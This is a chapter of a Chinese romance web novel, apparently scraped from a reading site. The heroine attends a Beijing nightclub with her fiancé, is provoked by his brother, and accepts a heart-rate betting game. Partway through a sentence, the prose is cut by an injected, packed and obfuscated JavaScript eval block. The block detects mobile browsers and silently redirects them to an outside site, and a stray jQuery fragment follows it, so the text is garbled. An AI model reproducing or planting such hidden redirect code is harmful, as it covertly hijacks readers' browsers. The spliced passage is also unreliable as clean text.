12. 心跳赌局
作品:《应许你[男二上位]》 两天后的夜晚,京市的霓虹灯如同流淌的银河,而金宸万盛则是这片银河中最璀璨、也最迷离的一颗星。
巨大的建筑外观设计感十足,线条凌厉,灯光变幻,还未靠近,便能感受到一种扑面而来的奢靡与喧嚣。
许清沅坐在应徊的车里,看着窗外飞速掠过的流光溢彩,手心微微沁出薄汗。
她今天穿了一条相对保守的香槟色吊带长裙,外面搭了件同色系的薄纱披肩,长发挽起,露出优美的天鹅颈和清晰的锁骨线,妆容清淡,力求在这种场合下既不失礼,也不过分惹眼。
应徊坐在她身边,侧脸在窗外变幻的光影下显得有些模糊。
他今天穿着休闲款的西装,没有打领带,看起来比平日少了几分正式,多了几分随意,但眉宇间却笼罩着一层淡淡的、挥之不去的凝重。
“别紧张,”应徊似乎察觉到了她的不安,温和地开口,声音在车内密闭的空间里显得格外清晰,“就当是来见见世面,跟在我身边就好,钟伯暄既然邀请了,场面上的安全还是有保障的。”
许清沅轻轻“嗯”了一声,心里却并未放松多少。
她担心的从来不是场面上的安全,而是那个如同阴影般笼罩着她的男人,应洵。
车子平稳地驶入金宸万盛的地下专属停车场,立刻有穿着制服、训练有素的侍者上前,恭敬地为两人拉开车门。
踏入直达顶楼宴会厅的专属电梯,镜面墙壁映出许清沅略显苍白的脸和应徊沉静的面容。
电梯门打开的瞬间,震耳欲聋的电子音乐混合着鼎沸的人声如同热浪般扑面而来,几乎要将人淹没。璀璨迷离的灯光在场内疯狂扫射,巨大的环形吧台前围满了衣着光鲜的男男女女,舞池里人影晃动,空气中弥漫着昂贵的香水、酒精以及一种名为放纵的气息。
这与许清沅平日里所处的音乐厅、画廊或是安静的茶室,简直是两个截然不同的世界。
她下意识地紧了紧身上的披肩,脚步有些迟疑。
应徊适时地伸出手臂,示意她挽住,他的手臂稳定而有力,仿佛一个暂时的避风港。
许清沅犹豫了一下,还是轻轻将手搭了上去。在这个陌生的、令人不安的环境里,应徊的“未婚夫”身份,确实能给她带来一丝微弱的安全感。
他们的出现,立刻吸引了不少目光。应家大少和他刚订婚的未婚妻,本就是近期京市上流社会的焦点人物。
更何况,许清沅的清丽脱俗与这里大部分浓妆艳抹、衣着大胆的女孩形成了鲜明对比,如同一滴清水滴入了油锅,格外引人注目。
“应大少,许小姐,欢迎欢迎!”钟伯暄如同闻到花香的蝴蝶,不知从哪个角落钻了出来,依旧是那副痞帅的模样,穿着亮片西装,手里端着酒杯,笑容灿烂地迎了上来。
他的目光在许清沅身上停留了一瞬,带着毫不掩饰的欣赏,随即看向应徊,语气热络,“真给面子啊应徊,还以为你这身子骨受不了这吵闹呢。”
应徊脸上挂着得体的浅笑,语气平稳:“钟少亲自邀请,自然要给这个面子,清沅没来过这种地方,我得跟着一起来。”
“放心,在我这儿,保证许小姐玩得开心又安全”钟伯暄保证着,眼神却不着痕迹地扫视四周,像是在寻找什么。
就在这时,人群微微骚动,自动分开了一条通道。
应洵来了。
他似乎是今晚的压轴人物,一出场便自带聚光灯效应。
没有像其他人那样穿着过于花哨的服饰,只是一身简单的黑色衬衫,领口随意解开两颗扣子,袖口挽至小臂,露出结实的手腕和那根显眼的红绳。
身姿挺拔,面容俊美凌厉,眼神淡漠地扫过全场,那股与生俱来的强大气场和睥睨众生的姿态,瞬间压下了周围的喧嚣,许多人的目光都不由自主地追随在他身上。
他的视线,几乎是精准地、第一时间,就锁定了挽着应徊手臂的许清沅。
那一刻,许清沅感觉自己的呼吸都停滞了一瞬。
他的目光如同实质,带着灼人的温度,穿透迷离的灯光和涌动的人群,牢牢地钉在她身上。
她能清晰地感觉到,那目光在她挽着应徊的手臂上停留了片刻,随后绕到了锁骨上已经被她用遮瑕盖住的疤,冰冷而锐利,慢慢缓缓上移,与她对视。
应洵的唇角,几不可察地勾起一抹极淡的弧度,那笑容里没有温度,只有一种猎手看到猎物踏入陷阱般的笃定和玩味。
他迈开长腿,不紧不慢地朝他们走来。所过之处,人们纷纷主动让路,或恭敬,或畏惧,或带着讨好的笑容打招呼,他却视若无睹,目光始终没有离开许清沅。
“哥,嫂子。”应洵在他们面前站定,声音不高,却清晰地穿透了背景音乐,传入许清沅耳中,带着一种令人心悸的磁性。
他的目光落在许清沅身上,仿佛旁边的应徊是透明的一般,“没想到,你们真的来了。”
应徊将许清沅往自己身后稍稍挡了挡,脸上依旧是那副温润面具,语气却带着一丝不易察觉的冷硬:“钟少邀请得那么诚挚,我们怎么能不来,倒是你,日理万机,还有空来这种地方消遣?”
应洵轻笑一声,目光终于转向应徊,带着毫不掩饰的嘲讽:“劳逸结合嘛,不像哥你,一向是温室里的典范,这种不良场所,确实需要人多照看着点,免得受了惊吓。”
他意有所指地瞥了一眼被应徊护在身后的许清沅。
许清沅低着头,能感觉到应洵的目光如同芒刺在背。
他每一句“嫂子”,都像是在提醒她那个在更衣室里发生的、不堪又暧昧的秘密,让她无地自容。
“不劳费心。”应徊冷冷回应。
钟伯暄眼看着气氛又要僵住,连忙打圆场,笑嘻嘻地插到两人中间:“你们兄弟俩一见面就掐,给我点面子行不行?今天可是我做东,走走走,应徊,许小姐,那边有安静点的卡座,我带你们过去。”
他半推半就地将应徊和许清沅引向了宴会厅一侧相对安静的VIP区域。
应洵没有跟上来,只是站在原地,目光幽深地看着许清沅离去的背影,直到她消失在拐角,他才收回视线,随手从经过的侍者托盘里拿起一杯威士忌,仰头喝了一口,辛辣的液体滑过喉咙,眼底深处翻涌着暗光。
VIP区域果然安静许多,巨大的落地窗外是京市璀璨的夜景,如同铺开的银河。
然而,当许清沅看清卡座里坐着的人时,脚步几不可察地顿了一下。
那不是孟砚南。
坐在主位的是一个看起来年纪稍轻、眉眼间带着几分桀骜与玩世不恭的男人,他姿态闲散地靠在沙发上,身边坐着一个女孩。
那女孩穿着一身青色旗袍衬得肌肤若雪,黑长直,一双灵动的眼睛,看着清纯又明艳。
这便是孟家四少孟徽舟,京市有名的玩乐派,他怀里的女孩,正是他已经交往了三个月的女友岑懿。
“哟,应大少,稀客啊!”孟徽舟见到他们,懒洋洋地抬了抬手算是打招呼,目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948892|193032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光随即落在许清沅身上,带着毫不掩饰的打量,“这位就是许小姐吧?久仰大名。”
许清沅被他直白的目光看得有些不自在,微微垂眸。
应徊眉头微蹙,侧身将许清沅挡得更严实些,语气平淡地回应:“孟四少。”
他话还未说完,一道更加冷冽的声音打断他,“孟徽舟,眼睛再瞎看信不信我给你挖下来。”
应洵眼神淡漠的扫过,他离得不远,因此能够听到孟徽舟说的话,此刻径直朝这边走来,语气里的维护之意甚至比应徊还明显。
许清沅心猛地跳了一下,怕被别人看出来她的不对劲,拉着应徊坐下了了最近的地方。
刚落座,许清沅就感觉到一道极具存在感的视线牢牢锁定了她。
“哥,嫂子。”他声音不高,却清晰地传入许清沅耳中,那声“嫂子”带着惯有的讽刺。
他没再多看孟徽舟一眼,目光在许清沅略显苍白的脸上停留片刻,“看来嫂子不太适应这种场合?”
应徊冷声回应:“不劳你费心。”
孟徽舟被刚才应洵一威胁也不对着许清沅说话了,毕竟这位疯批太子爷的手段一般人承受不住。
但应洵刚刚的维护他听的真切,秉承着看热闹不嫌事大,孟徽舟笑着插话:“既然来了,就得找点乐子嘛!”
他拍了拍手,吸引了几人的注意,“光喝酒聊天多没意思,正好,我最近搞了个新玩意儿,叫‘心跳赌局’,敢不敢玩玩?”
“‘心跳赌局’?”钟伯暄挑眉,似乎来了兴趣,“怎么个玩法?”
孟徽舟得意地介绍:“很简单,我们这边有最新款的微型心率监测仪,自愿参加的人戴上。轮流由庄家提问,问题嘛可以很刺激,回答问题期间,如果心率变化超过设定的安全阈值,或者拒绝回答,就算输。输的人……”
他意味深长地笑了笑,目光扫过在场几人,“要么喝一杯特调的深渊,要么完成赢家指定的一个小挑战。”
深渊是金宸万盛的招牌,一种烈性混合酒。
这个游戏规则充满了恶意和不确定性,尤其对于不擅长这种场合的许清沅和身体状况不佳的应徊来说。
应徊立刻皱眉:“这种游戏……”
“我觉得挺有意思的。”应洵突然开口,打断了他,目光饶有兴致地看向许清沅,唇角勾起一抹危险的弧度,“嫂子,敢玩吗?还是说,你心里藏着什么不敢让人知道秘密,怕心跳出卖你?”
他这话简直是赤裸裸的挑衅和激将法。
许清沅的心脏猛地一跳,下意识地看向应洵,对上他那双仿佛能看穿一切的眼眸。
“小洵!”应徊声音带着怒意。
孟徽舟却唯恐天下不乱地起哄:“就是玩玩嘛,应大少你也别太紧张,大不了输了我帮你喝深渊,”
钟伯暄摸了摸下巴,看向应洵,又看看许清沅,最终眼神落到了孟徽州身旁的岑懿,眼神闪烁,最终也笑道:“听起来是挺刺激的,玩玩也无妨,反正有监测仪,不会真出什么事,许小姐,就当体验一下?”
所有的目光都聚焦在许清沅身上。
拒绝便坐实了应洵所说的“心里有鬼”,接受,则意味着要踏入这个明显由应洵和孟徽舟主导的的游戏,将自己置于不可控的风险之中。
许清沅的手指在裙摆下悄然握紧。
她看着应洵那笃定而玩味的眼神,深吸一口气,尽量让自己的声音听起来平稳,抬眸迎上应洵的视线,清晰地说道,“好,我玩。”

